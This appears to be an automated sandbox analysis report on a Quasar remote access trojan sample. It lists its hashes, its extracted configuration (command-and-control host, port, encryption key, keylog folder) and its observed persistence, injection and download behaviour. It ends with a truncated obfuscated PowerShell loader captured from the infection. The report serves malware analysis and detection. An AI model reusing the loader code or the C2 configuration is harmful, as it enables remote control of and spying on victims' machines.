quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

Analysis

max time kernel
1800s
max time network
1799s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08-05-2024 17:28

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General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral3/memory/5028-1-0x0000000000C80000-0x0000000000CEC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 3776 created 604 3776 powershell.EXE winlogon.exe
PID 1248 created 604 1248 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

2528 $sxr-powershell.exe
4980 install.exe
2896 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

13 raw.githubusercontent.com
14 raw.githubusercontent.com
18 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 ip-api.com

description	pid	process	target process
PID 3776 created 604	3776	powershell.EXE	winlogon.exe
PID 1248 created 604	1248	powershell.EXE	winlogon.exe

pid	process
2528	$sxr-powershell.exe
4980	install.exe
2896	install.exe

flow	ioc
13	raw.githubusercontent.com
14	raw.githubusercontent.com
18	raw.githubusercontent.com

flow	ioc
5	ip-api.com

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 3776 set thread context of 992	3776	powershell.EXE	dllhost.exe
PID 1248 set thread context of 460	1248	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

4040 schtasks.exe
4436 SCHTASKS.exe
1836 schtasks.exe

pid	process
4040	schtasks.exe
4436	SCHTASKS.exe
1836	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715200222"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Modifies registry class 3 IoCs

Processes:

sihost.exeExplorer.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe

pid	process
3776	powershell.EXE
3776	powershell.EXE
1248	powershell.EXE
1248	powershell.EXE
3776	powershell.EXE
3776	powershell.EXE
992	dllhost.exe
992	dllhost.exe
992	dllhost.exe
992	dllhost.exe
1248	powershell.EXE
1248	powershell.EXE
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe
460	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exedwm.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	5028	Uni.exe
Token: SeDebugPrivilege	2528	$sxr-powershell.exe
Token: SeDebugPrivilege	3776	powershell.EXE
Token: SeDebugPrivilege	1248	powershell.EXE
Token: SeDebugPrivilege	3776	powershell.EXE
Token: SeDebugPrivilege	992	dllhost.exe
Token: SeDebugPrivilege	1248	powershell.EXE
Token: SeDebugPrivilege	460	dllhost.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

2528 $sxr-powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3524 Explorer.EXE

pid	process
2528	$sxr-powershell.exe

pid	process
3524	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exelsass.exe

description	pid	process	target process
PID 5028 wrote to memory of 4040	5028	Uni.exe	schtasks.exe
PID 5028 wrote to memory of 4040	5028	Uni.exe	schtasks.exe
PID 5028 wrote to memory of 4040	5028	Uni.exe	schtasks.exe
PID 5028 wrote to memory of 2528	5028	Uni.exe	$sxr-powershell.exe
PID 5028 wrote to memory of 2528	5028	Uni.exe	$sxr-powershell.exe
PID 5028 wrote to memory of 2528	5028	Uni.exe	$sxr-powershell.exe
PID 5028 wrote to memory of 4980	5028	Uni.exe	install.exe
PID 5028 wrote to memory of 4980	5028	Uni.exe	install.exe
PID 5028 wrote to memory of 4980	5028	Uni.exe	install.exe
PID 5028 wrote to memory of 4436	5028	Uni.exe	SCHTASKS.exe
PID 5028 wrote to memory of 4436	5028	Uni.exe	SCHTASKS.exe
PID 5028 wrote to memory of 4436	5028	Uni.exe	SCHTASKS.exe
PID 2528 wrote to memory of 1836	2528	$sxr-powershell.exe	schtasks.exe
PID 2528 wrote to memory of 1836	2528	$sxr-powershell.exe	schtasks.exe
PID 2528 wrote to memory of 1836	2528	$sxr-powershell.exe	schtasks.exe
PID 2528 wrote to memory of 2896	2528	$sxr-powershell.exe	install.exe
PID 2528 wrote to memory of 2896	2528	$sxr-powershell.exe	install.exe
PID 2528 wrote to memory of 2896	2528	$sxr-powershell.exe	install.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 3776 wrote to memory of 992	3776	powershell.EXE	dllhost.exe
PID 992 wrote to memory of 604	992	dllhost.exe	winlogon.exe
PID 992 wrote to memory of 668	992	dllhost.exe	lsass.exe
PID 992 wrote to memory of 944	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1016	992	dllhost.exe	dwm.exe
PID 992 wrote to memory of 504	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1032	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1084	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1092	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1176	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1200	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1268	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1300	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1344	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1404	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1424	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1492	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1504	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1632	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1688	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1756	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1780	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1896	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2024	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2040	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1608	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 1712	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2108	992	dllhost.exe	svchost.exe
PID 668 wrote to memory of 2972	668	lsass.exe	sysmon.exe
PID 992 wrote to memory of 2136	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2288	992	dllhost.exe	spoolsv.exe
PID 992 wrote to memory of 2440	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2520	992	dllhost.exe	sihost.exe
PID 992 wrote to memory of 2560	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2648	992	dllhost.exe	taskhostw.exe
PID 992 wrote to memory of 2684	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2692	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2720	992	dllhost.exe	svchost.exe
PID 992 wrote to memory of 2912	992	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cee226f3-5638-4237-8db0-7b049eb134e1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:992
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2d8c6bf9-d439-481b-8d6b-c8947eb66d94}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:460

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1200
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xahyVwhQyfIQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cbOJMOiFZBNgHT,[Parameter(Position=1)][Type]$gvWNqQpomU)$jTCyHZXQwOC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+'dD'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+'y'+'p'+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+','+'S'+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+'s'+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$jTCyHZXQwOC.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'deB'+'y'+''+[Char](83)+'i'+'g'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$cbOJMOiFZBNgHT).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$jTCyHZXQwOC.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'BySig'+','+'N'+[Char](101)+''+[Char](119)+'Sl'+'o'+'t,V'+'i'+''+'r'+'t'+'u'+'a'+[Char](108)+'',$gvWNqQpomU,$cbOJMOiFZBNgHT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $jTCyHZXQwOC.CreateType();}$CyXzlczzUpHyP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+'sof'+[Char](116)+'.Wi'+[Char](110)+''+'3'+'2'+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$EmazgtawrBlZJV=$CyXzlczzUpHyP.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jIQFQvuPpbVdiaRQZmv=xahyVwhQyfIQ @([String])([IntPtr]);$yMLxmaYbEDFFvevYBXeiTl=xahyVwhQyfIQ 